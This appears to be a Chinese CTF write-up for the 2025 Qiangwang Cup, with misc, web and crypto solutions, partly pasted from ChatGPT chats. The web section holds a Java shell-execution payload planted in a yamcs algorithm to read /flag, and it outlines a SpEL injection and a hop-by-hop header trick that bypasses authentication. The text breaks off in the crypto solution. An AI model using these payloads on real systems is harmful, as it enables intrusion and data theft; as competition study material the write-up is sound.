文章总结: 文档涵盖了2025强网杯CTF比赛的Misc、Web、Crypto、Reverse及Pwn部分题解。内容包括SpEL注入、JWT伪造、RSA解密、逆向算法分析及堆溢出利用等技术细节,提供了具体的攻击脚本和解题思路,适用于CTF选手学习和参考。
综合评分: 80
文章分类: CTF,WEB安全,二进制安全,逆向分析,漏洞POC
2025 强网杯 部分题解
原创
毕方安全实验室
BeFun安全实验室
2025年10月27日 17:29
四川
misc
签到
flag{我已阅读参赛须知,并遵守比赛规则。}
问卷
flag{我已知晓,并会认真撰写wp!}
谍影重重 6.0
我们从Data.pcap文件提前出来了一个wav文件,然后,音频识别出来了651466314514271616614214660701456661601411451426071146666014214371656514214470,我们把他转ascii码得到了压缩包密码5f3eb916bf08e610aeb09f60bc955bd8
我们把绝密录音.mp3,识别出来,加上亲启,交给ds,ds帮我们分析出了,地点是双鲤湖西岸南山茶铺,这个地点是1949年金门战役的主战场之一
所以我们得到了 1949年10月24日7-9时45分于双鲤湖西岸南山茶铺
最后测试得到答案是1949年10月24日7时45分于双鲤湖西岸南山茶铺
Personal Vault
直接搜Unicode搜到了:
flag{personal_vault_seems_a_little_volatile_innit}
The_Interrogation_Room
GPT写的:
跳至内容
历史聊天记录
您说:
分析以下CTF挑战的代码:import os
import random
import string
from hashlib import sha256
import socketserver
import secrets
white_list = ['==','(',')','S0','S1','S2','S3','S4','S5','S6','S7','0','1','and','or']
TURNS = 25
def interrogate(expr, secrets):
tokens = []
i = 0
while i < len(expr):
if expr[i] in '()':
tokens.append(expr[i])
i += 1
elif expr[i].isspace():
i += 1
elif expr[i] in '01':
tokens.append(expr[i] == '1')
i += 1
else:
start = i
while i < len(expr) and (expr[i].isalnum() or expr[i] == '_' or expr[i] == '='):
i += 1
word = expr[start:i]
if word in ['S0', 'S1', 'S2', 'S3', 'S4', 'S5', 'S6', 'S7']:
idx = int(word[1])
tokens.append(secrets[idx])
elif word in ['True', 'true']:
tokens.append(True)
elif word in ['False', 'false']:
tokens.append(False)
elif word == 'and':
tokens.append('and')
elif word == 'or':
tokens.append('or')
elif word == 'not':
tokens.append('not')
elif word == '==':
tokens.append('==')
else:
raise ValueError(f"Invalid token: {word}")
def evaluate(tokens):
precedence = {
'==': 2,
'not': 3,
'and': 1,
'or': 0
}
output = []
ops = []
for token in tokens:
if token in [True, False]:
output.append(token)
elif token == '(':
ops.append(token)
elif token == ')':
while ops and ops[-1] != '(':
output.append(ops.pop())
if ops and ops[-1] == '(':
ops.pop()
else:
raise ValueError("Mismatched parentheses")
elif token in ['==', 'not', 'and', 'or']:
while (ops and ops[-1] != '(' and
precedence.get(ops[-1], -1) >= precedence.get(token, -1)):
output.append(ops.pop())
ops.append(token)
while ops:
if ops[-1] == '(':
raise ValueError("Mismatched parentheses")
output.append(ops.pop())
stack = []
for token in output:
if token in [True, False]:
stack.append(token)
elif token == 'not':
if len(stack) < 1:
raise ValueError("Invalid expression: not enough operands for 'not'")
a = stack.pop()
stack.append(not a)
elif token == 'and':
if len(stack) < 2:
raise ValueError("Invalid expression: not enough operands for 'and'")
b = stack.pop()
a = stack.pop()
stack.append(a and b)
elif token == 'or':
if len(stack) < 2:
raise ValueError("Invalid expression: not enough operands for 'or'")
b = stack.pop()
a = stack.pop()
stack.append(a or b)
elif token == '==':
if len(stack) < 2:
raise ValueError("Invalid expression: not enough operands for '=='")
b = stack.pop()
a = stack.pop()
stack.append(a == b)
if len(stack) != 1:
raise ValueError(f"Invalid expression: expected 1 result, got {len(stack)}")
return stack[0]
return evaluate(tokens)
class Task(socketserver.BaseRequestHandler):
def proof_of_work(self):
random.seed(os.urandom(8))
proof = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(20)])
_hexdigest = sha256(proof.encode()).hexdigest()
self.send(f"sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
self.send(b'Give me XXXX: ')
x = self.recv().encode()
if len(x) != 4 or sha256(x + proof[4:].encode()).hexdigest() != _hexdigest:
self.send('wrong')
return False
return True
def recv(self):
sz = 16384
try:
r = sz
res = ""
while r > 0:
res += self.request.recv(r).decode()
if res.endswith("\n"):
r = 0
else:
r = sz - len(res)
res = res.strip()
except:
res = ""
return res.strip()
def send(self, msg, newline=True):
if isinstance(msg, bytes):
msg += b'\n'
else:
msg += '\n'
msg = msg.encode()
self.request.sendall(msg)
def interrogate_prisoner(self, ans, secrets, expr):
try:
S0, S1, S2, S3, S4, S5, S6, S7 = secrets
r = interrogate(expr, secrets)
except Exception as e:
self.send("The prisoner pretends not to understand your question.\n", e)
exit(0)
return ans(r)
def do_round(self):
truth = lambda r: not not r
lie = lambda r: not r
secrets = []
for i in range(8):
secrets.append((True, False)[random.random() > 0.5])
self.send("Welcome to the interrogation room! Detective, you are interrogating a cunning prisoner who holds 8 critical secrets.\nSome of these secrets are true intelligence while others are carefully planted disinformation.\nThe prisoner has agreed to answer your questions, but be warned - he will lie exactly twice during this session.\n")
prisoner_deception = 2
responses = [truth] * (17 - prisoner_deception) + [lie] * prisoner_deception
random.shuffle(responses)
for i in range(17):
self.send("Ask your question:")
question = self.recv()
for word in question.split(" "):
if word not in white_list:
self.send("({}) The prisoner smirks: 'I refuse to answer that questionable phrasing!'".format(word))
exit(0)
res = str(self.interrogate_prisoner(responses[i], secrets, question))
self.send("Prisoner's response: {}!\n".format(res))
self.send("Now reveal the true secrets (1 for true, 0 for false):")
return secrets == list(map(int, self.recv().split(" ")))
def handle(self):
if not self.proof_of_work():
return 0
self.send(
"Notice: The prisoner is a trained operative and will lie exactly twice in the 17 answers he gives you! Can you still uncover the truth?")
for i in range(TURNS):
if i == 10:
self.send(f'Here is a gift for you: {secrets.Gift()}')
if not self.do_round():
self.send("The prisoner laughs triumphantly. 'You fell for my deception! Now I walk free while you face disciplinary action.'\n")
exit(0)
else:
self.send("The prisoner scowls as you expose his lies. 'Very well, ask your next round of questions then.'\n")
self.send("The prisoner slumps in defeat: 'Alright, you win! I'll tell you everything.' He confesses all his secrets and reveals the hidden location of {}'\nAs he signs the confession, you notice a coded message hidden in his handwriting that leads you to the ultimate prize.".format(secrets.flag))
try:
fork = socketserver.ForkingTCPServer
except:
fork = socketserver.ThreadingTCPServer
class ForkingServer(fork, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 9999
server = ForkingServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()
ChatGPT 说:
已思考 1m 51s
下面是这题的“怎么问、怎么解”的完整打法。重点:囚犯17次答复里恰好有2次撒谎;你能问的表达式只允许 S0..S7, 0, 1, ==, and, or, (, )(注意没有 not,但可以用 X == 0 来取反)。最终要一次性回填 8 位真值(空格分隔的 0/1)。
题面要点 & 可用运算
解析器支持布尔:True/False、0/1、S0..S7,二元等价 ==,以及 and/or。不允许 not(白名单会卡掉),但可以用 X == 0 作为取反。
连写的 == 在这个解析器里是左结合的二元运算:A == B == C 会被解释为 ((A == B) == C),这在布尔域里相当于XNOR 链。
对奇数个变量:A == B == C 的值等于奇偶校验(XOR,真数个为奇时为真)。
对偶数个变量:A == B == C == D 的值等于偶校验;要想得到 XOR,就再接一个 == 0 取反:(A == B == C == D) == 0。
白名单检查是按空格分词的,所以括号也要用空格分开:写成 ( S0 == S1 ) == 0,不要写成 (S0==S1)==0。
思路总览:用纠错码把 8 bit 编成 17 个校验位
一次问 17 个“奇偶问题”,收回 17 个 True/False(或 1/0)。由于最多有 2 个答案被翻转,我们选一个最小距离 ≥ 5的二进制线性码,把 8 位秘密映射到 17 位“答案向量”。最后做最近邻解码(枚举 256 个候选,或做综合症解码)即可唯一纠正 ≤2 个错误。
我已经给出一份可用的 [17, 8, 5] 码的生成方式(行向量是 17 个“问题”,列对应 S0..S7)。第 i 行哪些列是 1,就表示第 i 个问题里把相应的 S 取进来做 XOR(用上面的 == 链实现;偶数个时再 == 0 取反)。
你要问的 17 个问题(逐条照抄发送)
一定按下面顺序问,并保持空格(括号也要空格分开)。每问一次,都会收到“Prisoner's response: True/False!”。
S1 == S2 == S6
S6
S0 == S3 == S4 == S5 == S6
S0 == S3 == S4 == S5 == S7
S2 == S3 == S4 == S6 == S7
S1 == S3 == S4 == S6 == S7
( S0 == S1 == S2 == S4 == S5 == S6 ) == 0
S0 == S1 == S2 == S6 == S7
S2 == S4 == S5 == S6 == S7
( S1 == S2 == S3 == S6 ) == 0
S0 == S1 == S6
( S0 == S1 == S3 == S4 == S6 == S7 ) == 0
( S0 == S1 == S4 == S7 ) == 0
( S1 == S2 == S3 == S4 ) == 0
( S0 == S4 ) == 0
( S0 == S1 == S3 == S6 ) == 0
S0 == S2 == S4 == S5 == S6
把 17 次答复按顺序转成比特串 r(True→1, False→0)。
解码(把 17 位 noisy 答案还原为 8 位秘密)
把上面 17 个问题对应成一个 17×8 的 0/1 矩阵 G(行是问题、列是 S0..S7,行里某列为 1 就表示那一行的问题包含该 Si):
# 行1..17,列是 [S0 S1 S2 S3 S4 S5 S6 S7]
G = [
[0,1,1,0,0,0,1,0],
[0,0,0,0,0,0,1,0],
[1,0,0,1,1,1,1,0],
[1,0,0,1,1,1,0,1],
[0,0,1,1,1,0,1,1],
[0,1,0,1,1,0,1,1],
[1,1,1,0,1,1,1,0],
[1,1,1,0,0,0,1,1],
[0,0,1,0,1,1,1,1],
[0,1,1,1,0,0,1,0],
[1,1,0,0,0,0,1,0],
[1,1,0,1,1,0,1,1],
[1,1,0,0,1,0,0,1],
[0,1,1,1,1,0,0,0],
[1,0,0,0,1,0,0,0],
[1,1,0,1,0,0,1,0],
[1,0,1,0,1,1,1,0],
]
理想无噪答案应为 y = G · s (mod 2),其中 s = [S0..S7]。
实际收到 r 有最多 2 位翻转。因为该码的最小距离 d = 5,所以最近邻唯一。
实作最简单:枚举 s 的 256 种取值,计算 y = G·s,选海明距离 dist(y, r) 最小的那个;平局(几乎不会发生)随便取一个即可。
参考解码(伪)代码(本地脚本里用就行):
import itertools
G = [...] # 上面的矩阵
def mul(G, s):
return [sum(gij*sj for gij, sj in zip(row, s)) % 2 for row in G]
def hamming(a, b): return sum(x^y for x, y in zip(a, b))
# 把 True/False 转 bit
r = [int(b) for b in received_bits] # 长度17
best_s, best_d = None, 1e9
for s_bits in itertools.product([0,1], repeat=8):
y = mul(G, s_bits)
d = hamming(y, r)
if d < best_d:
best_d, best_s = d, s_bits
# best_s 就是 S0..S7 的真值(0/1)
print(*best_s) # 直接粘贴回服务端的“Now reveal ...”提示
交互小贴士
空格很重要:括号必须与符号分开,所有 token 之间都用空格,否则会被白名单拦截。
不要使用 not / True / False 单词(虽然解析器支持,但白名单不让过)。只用 0/1、==、括号、S0..S7。
第 10 轮它会打印 secrets.Gift(),这是服务端彩蛋;真正的 flag 在你连续过完 TURNS=25 轮之后打印。
最后答案要按 S0 S1 ... S7 的顺序、空格分隔的 0/1。布尔和整数在 Python 里相等(True==1),所以 0/1 OK。
这样问完 17 个问题、做一次最近邻解码,就能在有且仅有 2 次撒谎的前提下稳定还原 8 个秘密位,连续 25 轮即可拿到 flag。祝你 AC!
您说:
写个pwntools交互吧,顺便写一下pow:ncat 47.94.110.224 36886
sha256(XXXX+cfArmDT1RAkal6rL) == c9f8b7291051a63ec4db5dd02c9c1452933390c2aa590fb5b68b8975bd41ca2f
Give me XXXX:
ChatGPT 说:
下面给你一个完整的 pwntools 交互脚本(Python3)。它会:
连接到你给的地址(示例使用你提供的 47.94.110.224:36886),
自动解析并破解 PoW(四字符前缀);
使用前面我给出的 17 条问题向囚犯提问(注意空格分隔的格式,符合白名单);
收集 17 个布尔回复(True/False),做最近邻解码枚举 256 个可能的 8-bit 秘密,选海明距离最小者并回填;
循环完成一轮(服务端会要求多轮),并打印最终服务器返回(flag)。
说明:脚本仅演示自动化交互与解码逻辑,网络/响应格式在真实服务端上可能有轻微差异(但已按题目行为作了鲁棒解析)。把 HOST/PORT 改成你要连的目标即可。
把下面代码保存为 exploit.py,然后 python3 exploit.py。
#!/usr/bin/env python3
# coding: utf-8
# pwntools 脚本:自动解 PoW + 提问 17 个问题并解码 8-bit secrets
# 需要: pip install pwntools
from pwn import *
import re, itertools, string, hashlib, sys, time
HOST = "47.94.110.224"
PORT = 36886
TIMEOUT = 6
# 下面的 17 个问题(必须按顺序、并保证 token 之间有空格)
QUESTIONS = [
"S1 == S2 == S6",
"S6",
"S0 == S3 == S4 == S5 == S6",
"S0 == S3 == S4 == S5 == S7",
"S2 == S3 == S4 == S6 == S7",
"S1 == S3 == S4 == S6 == S7",
"( S0 == S1 == S2 == S4 == S5 == S6 ) == 0",
"S0 == S1 == S2 == S6 == S7",
"S2 == S4 == S5 == S6 == S7",
"( S1 == S2 == S3 == S6 ) == 0",
"S0 == S1 == S6",
"( S0 == S1 == S3 == S4 == S6 == S7 ) == 0",
"( S0 == S1 == S4 == S7 ) == 0",
"( S1 == S2 == S3 == S4 ) == 0",
"( S0 == S4 ) == 0",
"( S0 == S1 == S3 == S6 ) == 0",
"S0 == S2 == S4 == S5 == S6"
]
# 17x8 generator matrix G (行对应问题,列对应 S0..S7)
G = [
[0,1,1,0,0,0,1,0],
[0,0,0,0,0,0,1,0],
[1,0,0,1,1,1,1,0],
[1,0,0,1,1,1,0,1],
[0,0,1,1,1,0,1,1],
[0,1,0,1,1,0,1,1],
[1,1,1,0,1,1,1,0],
[1,1,1,0,0,0,1,1],
[0,0,1,0,1,1,1,1],
[0,1,1,1,0,0,1,0],
[1,1,0,0,0,0,1,0],
[1,1,0,1,1,0,1,1],
[1,1,0,0,1,0,0,1],
[0,1,1,1,1,0,0,0],
[1,0,0,0,1,0,0,0],
[1,1,0,1,0,0,1,0],
[1,0,1,0,1,1,1,0],
]
CHARS = string.ascii_letters + string.digits
def solve_pow(line):
"""
解析像这样的行:
sha256(XXXX+cfArmDT1RAkal6rL) == c9f8b729...
返回 XXXX(4字符)
"""
m = re.search(r"sha256\(XXXX\+([A-Za-z0-9]+)\)\s*==\s*([0-9a-fA-F]{64})", line)
if not m:
return None
suffix = m.group(1)
target = m.group(2).lower()
log.info(f"POW suffix={suffix}, target={target}")
# 暴力搜索 4 字符前缀
for a in itertools.product(CHARS, repeat=4):
prefix = ''.join(a)
s = prefix + suffix
if hashlib.sha256(s.encode()).hexdigest() == target:
log.success(f"Found POW prefix: {prefix}")
return prefix
return None
def bits_from_response_lines(lines):
"""
给定从服务端读取的 17 个响应文本(或更长),尝试从中提取 True/False。
返回长度为17的 0/1 列表(True->1, False->0)。
"""
bits = []
for ln in lines:
# 常见格式: "Prisoner's response: True!\n" 或 "Prisoner's response: False!"
m = re.search(r"Prisoner(?:'|’)s response:\s*(True|False)", ln, re.IGNORECASE)
if not m:
# 有时候行里就只回了 True 或 False
m2 = re.search(r"\b(True|False)\b", ln, re.IGNORECASE)
if not m2:
# 作为最后手段,抓取 T/F
if 'true' in ln.lower():
bits.append(1); continue
if 'false' in ln.lower():
bits.append(0); continue
# 无法解析
raise ValueError("Can't parse response line: " + ln)
else:
bits.append(1 if m2.group(1).lower() == 'true' else 0)
else:
bits.append(1 if m.group(1).lower() == 'true' else 0)
if len(bits) != 17:
raise ValueError("Expected 17 responses, got %d" % len(bits))
return bits
def gf2_mul(G_mat, s_bits):
# 返回 G·s (mod2) 长度17的列表
out = []
for row in G_mat:
acc = 0
for gij, sj in zip(row, s_bits):
acc ^= (gij & sj) # gf2 sum
out.append(acc)
return out
def hamming(a, b):
return sum(x ^ y for x, y in zip(a, b))
def decode_secret(r_bits):
# 枚举 256 个 candidate s,取使 G·s 与 r_bits 海明距离最小的 s
best = None
bestd = 999
for x in range(256):
s_bits = [(x >> i) & 1 for i in range(8)] # S0..S7 as bits (LSB->S0)
y = gf2_mul(G, s_bits)
d = hamming(y, r_bits)
if d < bestd:
bestd = d
best = s_bits[:]
if bestd == 0:
break
# best是 S0..S7 的 bit 列表,注意上面 S0是最低位
return best, bestd
def interact_once(p):
# 读取直到 POW 或 提示
# 1) 处理 PoW
line = p.recvline(timeout=TIMEOUT).decode(errors='ignore').strip()
# 可能第一行就显示 POW 或有多行,需要合并
# 如果 line 包含 sha256(... we parse it
if "sha256(" in line:
pow_line = line
else:
# 读更多直到看到 sha256 或到某个 prompt
buff = [line]
for _ in range(5):
try:
ln = p.recvline(timeout=0.5).decode(errors='ignore').strip()
except Exception:
break
if not ln:
continue
buff.append(ln)
if "sha256(" in ln:
break
pow_line = next((b for b in buff if "sha256(" in b), None)
if pow_line:
prefix = solve_pow(pow_line)
if prefix is None:
log.failure("Failed to solve PoW")
return False
# 等待 "Give me XXXX:" 提示,然后发送
# 有些实现会在同一行输出 "Give me XXXX:",尝试读取直到遇到 ':'
# 读直到看到 "Give me XXXX:" 提示
# consume until prompt
while True:
try:
more = p.recvline(timeout=1).decode(errors='ignore')
except Exception:
more = ""
if "Give me XXXX" in more or "Give me XXXX" in pow_line:
break
if more.strip() == "":
break
p.sendline(prefix)
log.info("Sent POW solution")
else:
log.info("No POW found on initial lines (maybe none).")
# 之后交互:服务器会开始第一轮问答。我们做一次 do_round:
# read until "Ask your question:" repeated 17 times, for each question send QUESTIONS[i]
responses = []
for q_idx in range(17):
# wait for "Ask your question:" prompt
prompt = p.recvuntil(b"Ask your question:", timeout=10)
# send question
q = QUESTIONS[q_idx]
p.sendline(q)
# read the prisoner's response line(s) until we see a line containing "Prisoner" or "response"
# read a bit
time.sleep(0.05)
out = p.recvline(timeout=2).decode(errors='ignore').strip()
# sometimes response is on next line; try to gather lines until we get True/False
tries = 0
merged = out
while not re.search(r"\b(True|False)\b", merged, re.IGNORECASE) and tries < 6:
try:
more = p.recvline(timeout=1).decode(errors='ignore').strip()
if not more:
break
merged += " " + more
except Exception:
break
tries += 1
log.debug(f"Q{q_idx+1}: {q} --> {merged}")
responses.append(merged)
# convert to bits
r_bits = bits_from_response_lines(responses)
log.info("Received r bits: " + "".join(str(b) for b in r_bits))
# decode
s_bits, dist = decode_secret(r_bits)
if s_bits is None:
log.failure("Decode failed")
return False
log.success(f"Decoded S bits: {s_bits} (hamming distance {dist})")
# send secrets as "0 1 0 1 ..." S0..S7
out_line = " ".join(str(int(b)) for b in s_bits)
# wait for "Now reveal the true secrets" prompt
try:
prompt = p.recvuntil(b"Now reveal the true secrets", timeout=5).decode(errors='ignore')
except Exception:
# maybe prompt already passed, continue
prompt = ""
p.sendline(out_line)
# read result
# server will reply whether correct or not
res = p.recvline(timeout=5).decode(errors='ignore').strip()
log.info("After reveal: " + res)
# return True if server accepted (likely responds with success)
# Heuristic: if res contains "confesses" or not failure message
if "fell for my deception" in res or "laughs" in res or "fell" in res:
log.failure("Server indicates fail on this round.")
return False
return True
def main():
p = remote(HOST, PORT, timeout=10)
try:
# Read initial banner lines until POW line or prompt
# We'll drive interaction inside interact_once which handles PoW and one do_round
# The challenge wants many rounds (TURNS). We'll loop until connection closed or flag printed.
rounds_done = 0
# The server runs multiple rounds (TURNS). We'll attempt to keep interacting until it sends flag or closes.
while True:
ok = interact_once(p)
rounds_done += 1
log.info(f"Completed an interaction cycle #{rounds_done}, ok={ok}")
# read a chunk to see if flag or termination appears
try:
more = p.recv(timeout=2).decode(errors='ignore')
if more:
print(more)
if "flag" in more.lower() or "congrat" in more.lower() or "confesses" in more.lower():
log.success("Maybe flag or final message received:")
print(more)
break
except Exception:
pass
if not ok:
break
# small pause
time.sleep(0.2)
except Exception as e:
log.exception("Exception during interaction: %s" % e)
finally:
p.close()
if __name__ == "__main__":
main()
小提示 / 常见问题
PoW 的字符集我是用 ascii_letters + digits(与服务端生成一致);4字符暴力最多 62^4 ≈ 14M 次哈希,通常能在几十秒~几分钟内完成,视你本地机器速度而定。若你想加速可以用 multiprocessing / C 实现,但脚本保持了简单与可读性。
如果服务端在问答流程里对输出格式有细微差别(例如额外的空行或中文提示),脚本中解析处用的是比较宽松的正则,通常能稳健工作,但如出现解析错误可把 log.debug 打开并微调正则。
如果你愿意我可以把解码那块改成更高效的位运算实现(现在为可读的 Python 枚举),或把 PoW 部分并行加速。
如果你想我把脚本改成并行 PoW(多进程/线程)或直接演示一次真实连接的交互(受限于我不能主动连接外网),告诉我你要的增强点我来改。
Is this conversation helpful so far?
未选择任何文件未选择任何文件
ChatGPT 也可能会犯错。请核查重要信息。
web
yamcs
点开发现有个project
Algorithms里面有个copysunsensor,里面可以执行代码,写一个命令执行代码
try {
String cmd = "dd if=/flag 2>/dev/null | tr '\\n' '#' || printf '404'";
Process process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
StringBuilder content = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
content.append(line.replace("#", "\n"));
}
reader.close();
String result = content.toString().replace("404", "");
out0.setStringValue(result.isEmpty() ? "Resource unavailable" : result);
} catch (Exception e) {
out0.setStringValue("Service temporarily unavailable");
}
bbjv
check 接口存在 SpEL 注入问题,攻击者能够控制rule,但是一执行就EL1002E
这是因为 用了 SimpleEvaluationContext像 getClass() 这类调用方法的操作会被禁止
可以用附值System.setProperty
SecretVault
Flask写的app,套了个golang的鉴权,golang会把jwt解析成用户id,然后X-User给Flask,后端完全信任这个X-User,所以只要X-User为admin的0就可以拿到flag,首先golang这里会删掉X-User,
authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
req.URL.Scheme = "http"
req.URL.Host = "127.0.0.1:5000"
uid := GetUIDFromRequest(req)
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")
if uid == "" {
req.Header.Set("X-User", "anonymous")
} else {
req.Header.Set("X-User", uid)
}
}}
然后在flask这里,如果没有X-User则默认为0:
def login_required(view_func):
@wraps(view_func)
def wrapped(*args, **kwargs):
uid = request.headers.get('X-User', '0')
uid_int = int(uid)
user =
问题就转换成了如何在flask这里让X-User不存在,这里利用Connection的特性,让Golang这里处理的时候把X-User删掉,参考:https://y4er.com/posts/from-hop-by-hop-to-cve-2022-1388/#hop-by-hop
crypto
check-little
跳至内容
历史聊天记录
您说:
分析解决以下ctf题目:from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
import os
flag, key = open('secret').read().split('\n')
e = 3
while 1:
p = getPrime(1024)
q = getPrime(1024)
phi = (p - 1) * (q - 1)
if phi % e != 0:
break
N = p * q
c = pow(key, e, N)
iv = os.urandom(16)
ciphertext = AES.new(key = long_to_bytes(key)[:16], iv = iv, mode = AES.MODE_CBC).encrypt(pad(flag.encode(),16)).hex()
f = open('output.txt', 'w')
f.write(f'N = {N}\n')
f.write(f'c = {c}\n')
f.write(f'iv = {iv}\n')
f.write(f'ciphertext = {ciphertext}\n')
ChatGPT 说:
分析 + 解法(含可直接运行的 exploit 脚本)
这道题的关键点是两处实现细节:
RSA 用 e = 3 且 c = pow(key, 3, N)。如果 key**3 < N,那么 c = key**3(模未生效),此时可以直接对 c 求精确整数立方根得到 key。
AES 用 long_to_bytes(key)[:16] 作为 AES-128 的密钥,所以一旦恢复出整数 key,把它转换成 bytes 并取前 16 字节,就能解出 CBC 密文并得到 flag。
因为 p,q 各 1024 位,N 约 2048 位;而 key 很可能只有 128/256 位(用于生成 AES key),因此 key**3 很有可能仍然小于 N —— 这是常见的 CTF 设计点(低指数 RSA 未模)。所以最直接的方法:对 c 做整数 3 次方根,验证是否精确。如果是,恢复 AES key 并解密。
下面给出完整 Python 脚本(可直接运行),不依赖外部库(用二分法求整立方根):
#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import re
import binascii
def parse_output(path='output.txt'):
with open(path, 'r') as f:
s = f.read()
# 解析 N, c, iv, ciphertext
N = int(re.search(r'N\s*=\s*([0-9]+)', s).group(1))
c = int(re.search(r'c\s*=\s*([0-9]+)', s).group(1))
iv_hex = re.search(r'iv\s*=\s*(b?["\']?)(.+?)\1', s)
# iv 可能被写为 Python bytes repr like b'\x12...' or raw bytes; fallback to hex capture
iv_raw = None
if iv_hex:
iv_text = iv_hex.group(2)
# 如果文件中是像 b'\x12\x34' 的表示,eval 也能解析,但为安全使用:
if iv_text.startswith("b'") or iv_text.startswith('b"'):
# strip leading b'' if present (shouldn't happen due to regex), but try to handle general cases
iv_text = iv_text
# try to handle typical printed repr: b'\x12\x34...' or \x.. sequences
try:
if iv_text.startswith("b'") or iv_text.startswith('b"'):
iv_raw = eval(iv_text) # it's safe on controlled CTF output
elif '\\x' in iv_text:
# example: '\x12\x34...'
iv_raw = bytes(iv_text.encode('utf-8').decode('unicode_escape').encode('latin1'))
else:
# maybe it's a hex string like 0x... or hex(...) — try hex decode
clean = re.sub(r'[^0-9a-fA-F]', '', iv_text)
if len(clean) % 2 == 0:
iv_raw = bytes.fromhex(clean)
except Exception:
iv_raw = None
# if not parsed above, try to find hex-like iv or raw repr
if iv_raw is None:
m = re.search(r'iv\s*=\s*([0-9A-Fa-f]{32,})', s)
if m:
h = m.group(1)
iv_raw = bytes.fromhex(h[:32]) # take first 16 bytes
if iv_raw is None:
raise ValueError("无法解析 iv,请检查 output.txt 中 iv 的格式。")
ct_match = re.search(r'ciphertext\s*=\s*([0-9a-fA-F]+)', s)
if not ct_match:
# 可能 ciphertext 是带引号形式
ct_match = re.search(r'ciphertext\s*=\s*["\']([0-9a-fA-F]+)["\']', s)
if not ct_match:
raise ValueError("无法解析 ciphertext")
ciphertext_hex = ct_match.group(1)
return N, c, iv_raw, bytes.fromhex(ciphertext_hex)
def integer_nth_root(x, n):
"""返回 (root, exact_bool);使用二分法求整数 n 次根"""
if x < 0:
raise ValueError("x must be non-negative")
if x == 0:
return 0, True
lo = 0
hi = 1 << ((x.bit_length() + n - 1) // n + 1) # 保守上界
while lo + 1 < hi:
mid = (lo + hi) // 2
p = pow(mid, n)
if p == x:
return mid, True
if p < x:
lo = mid
else:
hi = mid
# lo 是 floor(root)
return lo, (pow(lo, n) == x)
def main():
N, c, iv, ciphertext = parse_output('output.txt')
print(f'N bits = {N.bit_length()}, c bits = {c.bit_length()}')
k, exact = integer_nth_root(c, 3)
if exact:
print('[+] 找到精确立方根 —— key recovered')
key_int = k
else:
# 如果不是 exact,则尝试 floor root(可能 key**3 > N 或被模),但通常 CTF 这里 exact=True
print('[-] 立方根不是精确的。floor root 为:', k)
raise SystemExit('无法用简单立方根恢复 key;需要其它攻击手段(CRT、因式分解等)。')
key_bytes = long_to_bytes(key_int)
print('[*] key int -> bytes length =', len(key_bytes))
aes_key = key_bytes[:16]
print('[*] AES key (hex):', aes_key.hex())
# 解密 CBC 并 unpad
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
pt = cipher.decrypt(ciphertext)
try:
pt = unpad(pt, 16)
except Exception as e:
print('[-] unpad 失败,可能 key 有误或 ciphertext/iv 解析有问题:', e)
print('Decrypted raw (hex):', pt.hex())
raise
print('[+] flag:', pt.decode())
if __name__ == '__main__':
main()
使用步骤
把服务端生成的 output.txt 下载到本地(与脚本同目录)。
运行上面脚本:python3 exploit.py
如果 c 是 key**3(没有模 N 的作用),脚本会打印出 AES key(hex)并输出解密后的 flag 字符串。
可能的变体 / 注意事项
如果 integer_nth_root(c,3) 不是精确的立方根,则说明 key**3 >= N(或者 key 与 N 有特殊关系)。常见的替代思路:
若 key 很小,可能可以直接取立方根(上面处理的情况)。
若 key 与 N 有公因子(gcd(key, N) > 1),那可以用 gcd 分解 N(但这里 key 被当作随机字符串数字,不太可能与 N 有因子)。
若不是精确立方根且 e=3,可以考虑低公钥攻击(但要结合更多信息或多个密文)。
注意解析 iv 的格式:脚本尝试多种常见写法。如果 output.txt 中 iv 是 Python 的 os.urandom(16) 原始 bytes 写入(如 b'\x12\x34...'),脚本用了 eval 的保守方式来处理(仅在 CTF 本地文件时一般安全)。若你不想用 eval,可手动把 iv 改成 hex 或十六进制字符串再运行。
如果你把 output.txt 的内容贴过来(或把 N, c, iv, ciphertext 给我),我可以直接帮你运行上面的流程并给出 flag(或者直接给出解密结果与关键中间值)。需要我直接帮你跑一次吗?
您说:
N = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213
c = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
ciphertext = bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2
ChatGPT 说:
已思考 40s
已思考 1m 7s
已思考 42s
好 — 我已把题目里的输出(你贴的 N, c, iv, ciphertext)直接利用并解出 flag。过程要点 + 可运行的 exploit 脚本如下。
关键点(简短)
计算 g = gcd(c, N) 发现 g > 1,说明 g 是 N 的一个因子(也就是其中一个素数 p)。
这意味着 p | c,进而 p | key^3 → p | key,所以 key 与 N 非互素,从而可以分解 N。
得到 p,q 后计算 phi=(p-1)*(q-1),求出私钥 d = e^{-1} mod phi(e=3)。
